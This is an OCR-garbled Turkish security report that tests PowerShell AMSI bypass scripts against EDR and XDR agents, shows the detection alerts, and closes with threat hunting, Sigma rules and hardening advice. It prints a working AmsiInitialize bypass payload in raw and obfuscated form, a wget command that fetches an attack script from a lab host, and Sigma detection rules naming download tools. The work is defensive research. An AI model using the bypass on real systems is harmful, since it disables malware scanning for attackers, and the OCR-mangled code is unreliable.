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AMSI Tanitim

AMSI, "Anti-Malware Scan Interface" (Anti-Malware Tarama Araytizi) anlamina gelir.
Windows 10 ve sonraki siiriimlerde bulunan bir API'dir (Uygulama Programlama
Arayizd). AMSI, anti-malware yazilimlarinin Windows isletim sisteminin givenlik
ozelliklerine erismesini ve koti amacli yazilmlari daha etkili bir sekilde taramasini
saglar.

Zararli aktiviteler asagidaki 3 sekilde tespit edilebilir veya engellenebilir:
1- imza Tabanli (Signature-based) Yaklasim

2- Davranissal (Behavioral) Yaklasim

3- Heuristik (Sezgisel) Yaklasim

Bir script veya yuritilebilir dosya calistirilmadan énce AMSI bu dosyalari antimalware
¢ozimleri ile tarar, potansiyel tehditleri belirler veya potansiyel tehdit olabilecekleri
belirler.

Bu, kot amacli yazilimlarin yiritidlmeden 6nce tespit edilmesini saglar.
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Resim 1.1

AMSI, geleneksel imza tabanli tarama yontemlerine ek olarak davranissal ve heuristik
analiz gibi daha gelismis tehdit algilama tekniklerini desteklemektedir. Bu sayede
yalnizca bilinen tehditleri degil, davranissal olarak siipheli veya sipheli olabilecek
aktiviteleri de tespit edebilir.
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AMSI Tanitim

Bu yaklasimlarinin her birinin kendi avantaj ve dezavantajlari bulunmaktadir.

Ornek olarak;

imza tabanli tarama, bilinen kotii amacli yaziimlari algilamakta en etkilidir ancak yeni
kotd amacli yazilimlari algilamakta basarisiz olabilir. Davranissal analiz, yeni kot amacli
yazilimlari algilamakta etkilidir ancak yiksek sayida false positive retebilir.

Heuristik analiz, hem yeni kot amacli yaziimlari hem de kokld kot amach yazilimlar
algilamakta etkilidir, ancak false positive tiretme olasiligi daha yiiksektir.

En iyi yaklasim, farkli yaklasimlarin bir kombinasyonunu kullanmaktir (AMSI/ tarafindan
kullanilan kombinasyon).

Davranissal yaklasim ve heuristik yaklasiminin isleyisi benzer gibi goriinebilir, 6rnekler
Uzerinden netlik kazandiralim.

Davranissal Yaklasim: Bir antiviris programi, bir programin sistem dosyalarini
degdistirmeye calistigini tespit ederse, bu kétli amacli yazilim olabileceginin bir isareti
olabilir. Bu, davranissal analizin bir 6rnedidir clinki programin davranisina odaklanir.

Heuristik Yaklasim: Bir antivirlis programi, bir programin ¢ok fazla bellek veya islemci
glcl kullandigini tespit ederse, bu kétld amacli yazilim olabileceginin bir isareti olabilir.
Bu, heuristik analizin bir érnegdidir ¢clinki programin potansiyel olarak zararli olan
davranislarina odaklanir.
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PowerShell ve AMSI Baglantisi

PowerShell Uzerinden yiritilen komutlar ve betiklerin antiviris ve antimalware
yazilimlari tarafindan taranmasi ve analiz edilmesi istenir. Bunu yapan mekanizma ise
AMSI olarak adlandirilan bir API'dir.

AMSI'nin temel goérevi, PowerShell ortaminda calistirilan kodlar tarayarak kétd amacli
icerigi tespit etmeye calismaktir. Bu, AMSI'nin Windows Defender veya baska bir
antivirts programi gibi glivenlik yazilimlari ile entegre calisarak PowerShell komutlarini
degerlendirmesini kapsar.

PowerShell ve AMSI arasindaki baglanti, PowerShell'in AMSI'yi kullanarak kétd amacli
yazilimlari algilayabilmesidir. PowerShell, AMSI'yi kullanarak asagidakileri yapabilir:
o PowerShell komut dosyalarini ve betiklerini taramak
o PowerShell komut dosyalarinda kullanilan komutlari ve islevleri analiz etmek
e PowerShell komut dosyalarinin sistem dosyalarina ve ag kaynaklarina erisimini
denetlemek
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Resim 1.2
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PowerShell ve AMSI Baglantisi

Bu, kétld amacli yazilimlarin yiritidlmesini onlemek ve kotl amacli yaziimlarin tespit
edilmesini kolaylastirmak icin PowerShell'i glicll bir arag haline getirir.

Ornegin, bir antiviriis programi, PowerShell'de yazilmis bir koéti amacli yazilimi
algilamak icin AMSI'yi kullanabilir. Antiviris programi, PowerShell komut dosyasini
AMSI'ye gonderir ve AMSI, komut dosyasinda koti amacli yazilim belirtileri olup
olmadigini arar. Koti amacli yazilim belirtileri bulursa, antiviris programi komut
dosyasini engelleyebilir veya kaldirabilir.

4 powershell.exe 27624

£y

General Statiglics Performance Threads Token Modules Memory Environment

MName Base address Size Description

powershill.exe Ox7ff6836C... 484 kB Windows PowerShell
advapi32HEll Ox7ffab0260... 716 kB Advanced Windows 32 Base AFI
amsi.dll 0x7ff99c1b00... 116 kB  Anti-Malware Scan Interface

General Imports EXports Load config

5

Hame Ordinal VA

AmsiCloseSession 1 0x80f0
Amsilnitialize 2 0x2e00
AmsiNotifyOperation 3 0x8120
AmsiOpenSession 4 0x8200
AmsiScanBuffer 5 0x8260

Resim 1.3

Resim 1.3 de anlasilacagi lGzere powershell.exe cagirildigi, tetiklendigi durumlarda
amsi.dll ile birlikte gelir. amsi.dll icerisinde ise cesitli modiller bulunmaktadir. Bu
calisma 6zelinde AmsiOpenSession - Amsilnitialize ve AmsiScanBuffer modillerine
odaklanilacaktir.
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EDR Tespit Senaryosu
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Resim 2.1

Resim 2.1 de Attack_AmsiOpenSession.ps1 ve Attack_AmsiScanBuffer.ps1 scriptlerinin
yakalandigini goriiyoruz. Bu scriptler yukaridaki resim 1.3 de gosterilen amsi.dll
icerisindeki modiillerin bypass edilmesi ile ilgilidir.
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Resim 2.2
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EDR Tespit Senaryosu

Resim 2.2 deki ekran gorintisl, Attack_ AmsiOpenSession.ps1 scriptinin Malware
etiketine sahip oldugunu ve “Prevented” edildigini gosterir. Ayrica MITRE teknigi olarak
da “T1566.002: Spearphishing” verilmektedir.

N Attack_AmsiOpenSe... m © Prevented e N

% 'Wacatac' malware was prevented

Informational @ Prevented @ New

Resim 2.3

Resim 2.3 Attack_AmsiOpenSession.ps1 scriptinin “Wacatac” zararlisi olarak 6nlendigini
gosterir.

Wacatac: Wacatac truva ati virlsli, Windows cihazlarini etkileyen koti amacgli bir
programdir. Wacatac truva ati, bilgisayariniza diger koti amacli yazilimlari indirip
ylkleyebilir veya oturum acma kimlik bilgileri veya banka hesabi ayrintilari gibi kisisel
bilgileri calmak icin tus vuruslarinizi kaydedebilir. Wacatac, diger cihazlarin cihaziniza
erismesine ve uzaktan kontrol etmesine olanak taniyan arka kapilar olusturarak
cihazinizi bir botnet'e de ekleyebilir. Daha sonra genellikle DDoS saldirilari veya kripto
madenciligi gerceklestirmek icin bir botnet kullanilir.

Resim 2.4

Resim 2.4 icerisinde obfuscate Amsilnitialize payload bulunmaktadir. Single-Line
payload calistirildiktan sonra asadidaki resimde goérintilenen alarm tetiklenmektedir.

Ek olarak, diger 2 metot icerisinde (AmsiOpenSession - Attack_AmsiOpenSession.ps1 //
AmsiScanBuffer - Attack_AmsiScanBuffer) script dosyalari bulunmasina karsin bu metot
bir script dosyasi yerine single-line payload icermektedir. (Bu teknik 6zelinde
PowerShell bypass metotlarinda string evasion, restricted kurallar, bioc kurallarinin
onemini anliyoruz.)
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EDR Tespit Senaryosu
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Resim 2.5

Resim 2.5 icerisinde Amsilnitialize Single-Line Obfuscate Payload’t calistirildiginda
olusturulan alarm gorintilenmektedir.
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Resim 2.6

Yukaridaki resimde powershell icerisinde calistirilan Single-Line Payload icin olusturulan
alarmin VirTool:PowerShell/BypassAMSI.B oldugunu gorebiliriz.

Ayrica bu aktivitenin edr tarafindan “Malware” olarak islendigini, “Severity” derecesinin
ise “Low” oldugunu gorebiliriz.
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Resim 2.7
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Resim 2.9

s Onelriee

Resim 2.9 icerisinde ise script dosyasini powershell Gzerinden degil, manuel olarak

tetikleyebiliriz. EDR Agent't Script dosyasini tetikledikten sonra aktiviteyi

engellemektedir.
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EDR Tespit Senaryosu

[10292] powershell.exe "-Comma... m O Blocked e AN “

Command line 'C:\Users\ \Desktop 4 Dy
\AMSI-W11-BYPASS- v
POC\Attack_AmsiScanBuffer.ps1™

Process id 10292

Execution details Token elevation: Limited, Integrity level: Medium

Image file path C\Windows\System32\WindowsPowerShell\v1.0\po

wershell.exe

Resim 3.0

Resim 3.0 ise Attack_AmsiScanBuffer.ps1 scriptinin yakalandigini belirtiyor. Scripte EDR
tarafindan Malware etiketi verilmis ve ayni zamanda Blocked olarak belirtilmis. Bu
noktada eylemin engellendigini anlayabiliriz.

explorer.exe inte... Attack_AmsiScanBuffer.p... m ee N

- 'Posdyna’ malware was prevented

Informational @ Prevented @ New

Resim 3.1

Resim 3.1 icerisinde ise Attack_AmsiScanBuffer.ps1 scriptinin Posdyna zararlisi olarak
Prevent edildigi belirtilmektedir.

Posdyna: Microsoft Windows isletim sistemlerinde calisan bir trojan’dir. Bu trojan
kullanicilarin bilgisayarlarina gizlice girer ve cesitli zararlar verebilir.
Posdyna’nin verebilecegdi zararlar asagidaki gibi cesitlilik gésterebilir:

 Bilgisayar sistemini yavaslatabilir

« Bilgisayar sisteminin islevlerini bozabilir

e Kullanicilarin bilgisayarlarinda gizlice gezinebilir

o Kullanicilarin kisisel bilgilerini calabilir
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XDR Tespit Senaryosu

Resim 3.2

NOT: Resim 3.2'de verilen script dosyasinin adi Attack_ AmsiOpenSession.ps1 dedgil
w11poc.ps1'dir. Bu, powershell modiilleri ile indirirken -outfile parametresini kullanarak
da yapilabilir, script dosyasi test makinesine indirildikten sonra manuel olarak da
degistirilebilir.

Script dosyasi calistirilmak istendiginde sistem, disabled olarak geldigini,
yiklenmedigini belirtiyor. Execution Policy degisikligi yaparak tekrar calistiralim.

Exefution Frlicy ChAange
t svpcusian pality mlipht

Resim 3.3

Execution Policy'yi degistirdikten sonra w11poc.ps1 (Attack_AmsiOpenSession.ps1)
script dosyasini calistirdigimizda True olarak cikti aliyoruz. XDR Agent'i ¢cikti sonrasinda
terminali kapatiyor ve alarm Uretiyor.
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Resim 3.4
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Resim 3.5

Resim 3.4 ve 3.5'te Attack_AmsiOpenSession.ps1 scriptinin XDR Agent'i tarafindan High
Severity ve Prevented(Blocked) olarak degerlendirildigini goriiyoruz.
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XDR Tespit Senaryosu

4 0 0 4
Execution Pe... Privileq... Defense Evasion

4 ¥

Command and Scripting Deobfuscate/Decode Files or

Interpreter Information

4
PowerShell

Resim 3.6

Resim 3.6'da ise Attack_AmsiOpenSession.ps1 scripti ile ilgili MITRE ATTACK taktikleri
verilmistir. TA0O002 - Execution / TA00O05 Defense Evasion

-
{ECINIques

T1059 - Command and Scripting Interpreter
T1059.001 - Command and Scripting Interpreter: PowerShell

T1140 - Deobfuscate/Decode Files or Information
Resim 3.7
Kullanilan tekniklerin MITRE karsiliklarini da resim 3.7'de detayli olarak gorebiliriz.

Resim 3.8

Resim 3.9
Resim 3.8 ve 3.9 ise XDR BIOC (Behavioral Indicator of Compromise - Davranissal 10C)
kuralina takilan Black Basta Ransomware Group Devanse Evasion adinda Alert Name

goruntiliyoruz. Burada ayrica Action olarak Prevent veya Block degil, Detected
verdildigini géridyoruz. Bunun anlami BIOC kurali vasitasiyla Tespit edilmis olmasidir.
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XDR Tespit Senaryosu

Amsilnitialize icin ise raw ve obfuscate edilen payload asagidaki gibidir:
o [Ref].Assembly.GetType(‘'System.Management.Automation.AmsiUtils’).GetField(‘am
silnitFailed’,'NonPublic,Static’).SetValue($null,Strue)

e $Sa=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($Sb.Name -like “*iUtils")
{$c=$b}};$d=Sc.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like
“*Failed”) {$F=$e}};$F.SetValue($null,$true)

Obfuscate edilen payload herhangi bir process tetiklemedigi icin XDR tarafindan bir
alarm (komuta 6zel olarak yazilan BIOC bulunmuyorsa) olusturmuyor. Bu yizden bu
asamada obfuscate edilen payload icin Threat Hunting calismasi yapacagdiz.

Raw ve obfuscate payload’'larin ne ise yaradigini ve obfuscate payload icerisinde
karmasiklastirma yapilan yerin neresi oldugunu, hangi amacla yapildigini inceleyelim.

Raw/Ham Payload:

1- [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'):
System.Management.Automation.AmsiUtils sinifini yikler. Bu sinif, AMSI ile ilgili
yardimci fonksiyonlar icerir.

2- .GetField('amsilnitFailed', '"NonPublic,Static'):

AmsiUtils sinifindan amsilnitFailed adli 6zel (non-public) ve statik bir alan (field) alir. Bu
alan, AMSI'nin baslatilma durumunu tutar.

3-.SetValue($null, Strue):

amsilnitFailed alaninin dederini true olarak ayarlar. Bu, AMSI'nin baslatilmasinin
basarisiz oldugunu gosterir ve AMSI'nin calismasini durdurur.

Obfuscate Payload:

o Sa=[Ref].Assembly.GetTypes();; Bu satirda, PowerShell calisma zamanindaki
(runtime) Assembly nesnesine referans alir ve icindeki tim tipleri (types) alir. Bu,
PowerShell ortamindaki tiim tirleri iceren bir dizi olusturur.

e Foreach($b in $a) {if (Sb.Name -like “*iUtils”) {$c=$b}};: Bu dongi, 6nceki adimda
alinan tdrlerin (types) listesinde dolasir. Eger bir tidrin adi iUtils ile bitiyorsa
(AmsiUtils gibi), o tiiri $c degiskenine atar. Bu, AMSlI ile ilgili tiirti bulmayi amaclar.

e Sd=Sc.GetFields(‘NonPublic,Static’);: Bu adimda, onceki adimda bulunan tir
Gzerinde NonPublic, Static 6zelliklerine sahip olan tim alanlar (fields) alir. Bu,
AMSI'nin kontrol edildigi alanlari iceren bir dizi olusturur.
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XDR Tespit Senaryosu

e Foreach($e in $d) {if (Se.Name -like “*Failed”) {$f=5e}};: Bu d6ngl, onceki adimda
alinan alanlar icinde dolasir. Eger bir alanin adi Failed ile bitiyorsa (amsilnitFailed), o
alani $F degiskenine atar. Bu, AMSI'nin baslatilmasini kontrol eden ilgili alani
bulmayi amaclar.

o SF.SetValue(Snull,Strue): Son olarak, $f degiskenindeki alana (yani AMSI kontrol
alanina) $true dederini atar. Bu, AMSI'nin devre disi birakilmasini saglar.

Raw ve Obfuscate payload’'larini ele aldigimizda AMSI'nin baslatilmasinin basarisiz
olarak ayarlanmaya calisildigini anlayabiliriz. Ayrica obfuscate islemi icerisinde string
evasion ve kod karmasiklastirma (obfuscation) islemi yapildigini belirtebiliriz.

Resim 4.0
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Resim 4.1
Resim 4.1 icerisinde olusturulan KQL sorgusunda bulunan [Ref].Assembly.GetTypes()
ifadesi obfuscate payloadi icerisinde bulundugdu icin biz de Threat Hunting calismamizi -
burada payload icerisindeki herhangi baska bir ifade de kullanilabilirdi, yalnizca sectigimiz
[Ref].Assembly.GetTypes() kullanilmak zorunda degil- bu ifade izerinden gerceklestirdik.
ACTION_EVTLOG_DATA_FIELDS situnu altinda ok ile gosterilen alan icerisinde tam
olarak obfuscate payload goérintiilenememektedir, bu yizden biraz daha derine inecegiz.
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XDR Tespit Senaryosu
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Resim 4.3

Resim 4.2 icerisinde (Open Card in new tab) obfuscate edilen payload tam olarak
gorintilenmektedir. Bu sekilde bir Threat Hunting calismasi yapmis oluyoruz.

powershell wget 'http://10.10.122.102/w11poc/Amsi_Bypass_In_2023-
main/Attack_AmsiScanBuffer.ps1' -outfile C:\Windows\Temp\w11pocbuffer.ps1

18.18.122. 1062 HTTR 269 GET Fwlipoc/dmsl Bypass Dn 2023-main/ACtack _ArsiScanBuffer.psl
10,19.,122,116 HTTF 2207 HTTR/1 .1 200 DF

Resim 4.4

1/719/2624 1:86 AM 1892 wllpocbuffer.psl

\WindowsiTemp> .A\wllpocbuffer.psl

Resim 4.5

Gerekli powershell scriptini makineye indirdikten sonra -outfile parametresi ile
w11pocbuffer.ps1 olarak Temp dizinine kaydettik ve scripti calistirdigimizda True olarak
ciktiyr alabiliyoruz. Bu bize scriptin basariyla calistirildigini belirtiyor fakat sonrasinda
makinedeki XDR agenti terminali kapatiyor ve aktiviteyi engelliyor.
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XDR Tespit Senaryosu
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Resim 4.6
Resim 4.6 icerisinde Attack_AmsiScanBuffer.ps1 scriptinin bulundugu dizini ve Info
Message icerisinde Powershell_ISE (burada powershell ile degil powershell-ise
icerisinde calistirildigini anliyoruz) icerisinde calistirildigi kod blogunu (yesil ile secili
alan icerisinde belirli bir kismi gérinmektedir) goérintileyebiliyoruz.
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Resim 4.7
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XDR Tespit Senaryosu

Resim 4.7 icerisinde Log Level: Info Message Uzerinde fare ile geldigimizde bize
calistinlan zararli aktivitenin kod blogu daha detayli olarak bilgi veriyor fakat kod
blogunu tamamen gorintileyebilmek icin asagidaki sekilde ilerleyecegiz:
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Resim 4.8

Resim 4.8 de gorildiigu gibi Copy text to clipboard ile zararli aktivitenin kod blogunu
tamamen kopyalayip script dosyasi ile karsilastirabiliriz.
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Resim 4.9
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Resim 4.9, XDR icerisindeki panoya kopyaladigimiz kod blogu; Resim 5.0 ise script
dosyasinin kod blogu. iki resimdeki kirmizi alan ise daha net bir belirtectir.
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Tespit Kurallari

Sigma Kurali -1

title: Suspicious Download from Office Domain
id: 00d49ed5-4491-4271-a8db-650a4ef6f8c1
status: test
description: Detects suspicious ways to download files from Microsoft domains that are used to store
attachments in Emails or OneNote documents
references:
- https://twitter.com/an0n_r0/status/14746983566351933467s=12
- https://twitter.com/mrd0x/status/1475085452784844803?s=12
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2021/12/27
modified: 2022/08/02
tags:
- attack.command_and_control
- attack.t1105
- attack.t1608
logsource:
product: windows
category: process_creation
detection:
selection_download:
- Image|endswith:
- \curl.exe'
- \wget.exe'
- CommandLine|contains:
- 'Invoke-WebRequest'
-iwr!
-'curl’
- 'wget '
- 'Start-BitsTransfer'
- ".DownloadFile('
- '.Downloadstring('
selection_domains:
CommandLine|contains:
- 'https://attachment.outlook.live.net/owa/'
- 'https://onenoteonlinesync.onenote.com/onenoteonlinesync/'
condition: all of selection_*
falsepositives:
- Scripts or tools that download attachments from these domains (OneNote, Outlook 365)
level: high
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Sigma Kurali - 2

title: Usage OFf Web Request Commands And Cmdlets
id: 9fc51a3c-81b3-4fa7-b35f-7c02cf10fd2d
related:
-id: 1139d2e2-84b1-4226-b445-354492eba8ba
type: similar
- id: f67dbfce-93bc-440d-86ad-a95ae8858c90
type: obsoletes
- id: cd5c8085-4070-4e22-908d-a5b3342deb74
type: obsoletes
status: test
description: Detects the use of various web request commands with commandline tools and Windows
PowerShell cmdlets (including aliases) via CommandLine
references:
- https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/
- https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell
- https://learn.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?
view=windowsserver2019-ps
author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer
@austinsonger
date: 2019/10/24
modified: 2023/01/10
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- '[System.Net.WebRequest]::create’
-'curl’
- 'Invoke-RestMethod'
- 'Invoke-WebRequest'
- 'iwr !
- 'Net.WebClient'
- 'Resume-BitsTransfer'
- 'Start-BitsTransfer'
-'wget'
- 'WinHttp.WinHttpRequest'
condition: selection
falsepositives:
- Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer.
level: medium
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1. Managed Security Service Provider (MSSP) Hizmetleri
Glvenlik operasyonlarinizi yonetmek ve tehditlere karsi proaktif énlemler almak icin
glvenilir bir MSSP hizmeti tercih edebilirsiniz.

2. Siber Tehdit istihbarati Hizmeti

Tehdit aktorleri ve aktivitelerine karsi proaktif bir 6nlem olarak Siber Tehdit
istihbaratindan vyararlanabilirsiniz. Potansiyel tehditleri 6énlemek icin énemli bir
¢6zUmdlr. Kurumunuz veya korumaya calistiginiz sistemlerde bulunan drinlerin,
araclarin ve yazilimlarin sirimleri hakkinda bunlari hangi tehdit aktérlerinin kullandigi
ve nasil kullandigi konusunda internet ve deep/darkweb (izerinde arastirma yapilabilir.
Sonrasinda ise Tehdit Aktorlerine yonelik TTP bazli ve gecmis saldin bazli kural
gelistirilebilir, 6nlem alinabilir.

3. Zero-Trust ve Least Privilege Yaklasimi

Olasi giivenlik ihlallerine karsi Zero-Trust ve Least Privilege (En Az Ayricalik ilkesi)
yaklasimini benimseyin. Zero-Trust, hicbir zaman giivenme, daima dogrula yaklasimidir.
Least Privilege ise kullanicilara islerini tamamlamak icin gereken minimum erisim
haklarini ve izinlerini verir. Bu prensipler benimsenerek saldirilarin etkisi indirgenebilir.

4, Giincelleme ve Yama Yonetimi

Tim sistemlerin ve glivenlik yazilimlarinin en son yamalarla gincel oldugundan emin
olun ve dizenli periyotlarda kontrol saglayin. Glincellemeler, bilinen givenlik aciklarini
kapatmak ve sistemleri korumak icin etkili bir ¢6zimdir. Ayrica zafiyet yonetim
politikalariniza bagli olarak GRC ekiplerinizle risk konusunda anlasabilirsiniz.

5. Kullanici Egitimi ve Farkindaligi
Kullanicilar, sipheli, imzali olmayan veya givenilir olmayan kaynaklardan gelen
dosyalari calistirmamalari konusunda bilgilendirin.

6. Wget ve Curl Sikilastirma

Wget ve Curl komutlariyla dis IP trafigi olustugunda alarm olusturacak kurallar
yazabilirsiniz. Bu, tehdit aktorlerinin veri sizdirma girisimlerini veya saldirinin boyutunu
blyiitecek araclarin indirilmesini tespit etmek icin 6nemlidir.

7. C2 Sunuculari ve Toollar

Command and Control (C2) sunuculari ve Tehdit Aktérlerinin toollarina karsi Invoke-
WebRequest, New-Object System.Net.WebClient ve Start-BitsTransfer gibi cndlet’lerin
dis kaynaklara yaptigi trafiklere alarm olusturacak kurallar yazabilirsiniz.
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8. Turn on Module Logging Policy

(Computer Configuration/User Configuration > Policies > Administrative Templates >
Windows Components > Windows Powershell)

Bu policy, belirli PowerShell modiilleri icin komutlarin ve etkinliklerin loglanmasini
saglar. Givenlik ve denetim amaciyla komut gecmisini izlemek icin kullanilabilir. Bir
modil icin bu policy ayarini etkinlestirmek, modilin LogPipelineExecutionDetails
Ozelligini True olarak ayarlamaya esdederdir. Etkinlestirildiginde, belirli moddller icin
yiuratdlen tim komutlar ve sonuclar Windows olay ginliklerinde depolanir.
(LogPipelineExecutionDetails ozelligi, PowerShell modiiliiniin yiiriitme olaylarini
Windows olay giinliiklerine yazdirip yazdirmayacagini belirler. Bu olaylar, modiiliin
yiiklemesi, komutlarin ¢alistirilmasi ve modiiliin kaldirilmasi gibi islemleri icerir.)

Bu policy ayarini devre disi birakirsaniz, yiriitme olaylarinin giinlige kaydedilmesi tim
Windows PowerShell modiilleri icin devre disi birakilir.

Policy listesine modiller ve ek bilesenler eklemek icin Show'a tiklayin ve ardindan
listeye modil adlarini yazin. Listedeki (loglanmasi istenen) modiiller ve ek bilesenler
bilgisayarda yikli olmalidir.

A Turn on Module Logging O >

E} Turn on Module Logging Mext Setting

() Mot Configured Comment:
(®) Enabled

() Disabled

Supperted oM | At least Microsoft Windows 7 or Windows Server 2008 family

Opticns: Help:

. . A
Te turn on legging for one or more modules, click

Show, and then fype the medule names in the list, i This palicy serting allows your o gim anlogging frir
: : Windows PowerShell modules.
Wildcards are supported,

Medule Names i — If you enable this |:J|:|_Ii_|::,r setting, pipeline EXECLIt!Dr‘I events
for members of the specified modules are recorded in the
Windows PowerShell log in Event Viewer, Enabling this policy
setting for a module is equivalent to setting the
LogPipelineExecutionDetails property of the module to True.

Te turn on legging for the Windows PowerShell core
modules, type the following module names in the

list:

Microsoft.PowerShall™ o If you disable this policy setting, logging of EX.ECLItiDﬂ E*.r_ents
is disabled for all Windows PowerShell modules, Disabling this
Microsoft. WiMan.Management pelicy setting for a module is equivalent to setting the

| noPinelineFxecutinnletails nronerte nf the modole o Falze.
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9. Turn on Powershell Script Block Logging Policy

(Computer Configuration/User Configuration > Policies > Administrative Templates >
Windows Components > Windows Powershell)

Komut Dosyasi Blogu Ginligiand (Script Block Loggin) etkinlestirirseniz, PowerShell
ayrica bir komutun, komut dosyasi blogunun (script block), islevin veya komut
dosyasinin cagrilmasi (invoce) basladiginda veya durdugunda olaylari ginlige kaydeder.
Cagirma Giinliigiinii Etkinlestirmek, yiiksek miktarda olay giinliigii olusturur.

A Turn on PowerShell Script Block Logging O *
E} Turn on PowerShell Script Bleck Logging e Next Setting
() Mot Configured Comment:
(®) Enabled
() Disabled
Supported on: | at eact Microsoft Windows 7 or Windows Server 2008 family
Cpticns: Help:
Leg script bleck invecation start / stop events: ) . ) ) ) ~
This policy setting enables legging of all PowerShell script
input to the Microsoft-Windows-PowerShell/Operational event
log. If you enable this policy setting,
Windows PowerShell will log the processing of commands,
script blocks, functions, and scripts - whether invoked
interactively, or through automation,
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